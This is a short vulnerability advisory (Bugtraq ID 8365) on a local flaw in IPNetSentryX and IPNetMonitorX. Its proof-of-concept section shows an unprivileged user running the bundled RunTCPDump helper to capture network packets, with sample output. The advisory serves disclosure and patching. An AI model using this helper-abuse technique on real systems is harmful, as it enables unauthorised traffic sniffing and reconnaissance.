IPNetSentryX / IPNetMonitorX Unauthorized Network Reconnaissance Vulnerability

BID:8365

Info

IPNetSentryX / IPNetMonitorX Unauthorized Network Reconnaissance Vulnerability

Bugtraq ID: 8365
Class: Access Validation Error
CVE:
Remote: No
Local: Yes
Published: Aug 07 2003 12:00AM
Updated: Aug 07 2003 12:00AM
Credit: Discovery of this vulnerability has been credited to Dave G. <[email protected]> of @stake, Inc.
Vulnerable: Sustainable Softworks IPNetSentryX
Sustainable Softworks IPNetMonitorX
Not Vulnerable:

Discussion

IPNetSentryX / IPNetMonitorX Unauthorized Network Reconnaissance Vulnerability

It has been reported that helper applications that are shipped with IPNetSentryX and IPNetMonitorX may be harnessed by a local attacker to provide for unauthorized network reconnaissance.

Exploit / POC

IPNetSentryX / IPNetMonitorX Unauthorized Network Reconnaissance Vulnerability

The following demonstration has been supplied:

bash-2.05a$ id
uid=503(dummy) gid=20(staff) groups=20(staff)
bash-2.05a$ pwd
/Applications/IPNetSentryX.app/Contents/Resources
bash-2.05a$ ./RunTCPDump -i en1 -x -v -s 4096
RunTCPDump: listening on en1
18:02:55.726143 arp who-has 192.168.0.1 tell 192.168.0.1
0001 0800 0604 0001 XXXX XXXX XXXX XXXX
0001 0000 0000 0000 c0a8 0001 0000 0000
0000 0000 0000 0000 0000 0000 0000

Solution / Fix

IPNetSentryX / IPNetMonitorX Unauthorized Network Reconnaissance Vulnerability

Solution:
The vendor has released an upgrade to address this issue:


Sustainable Softworks IPNetSentryX

Sustainable Softworks IPNetMonitorX

References

IPNetSentryX / IPNetMonitorX Unauthorized Network Reconnaissance Vulnerability

References:

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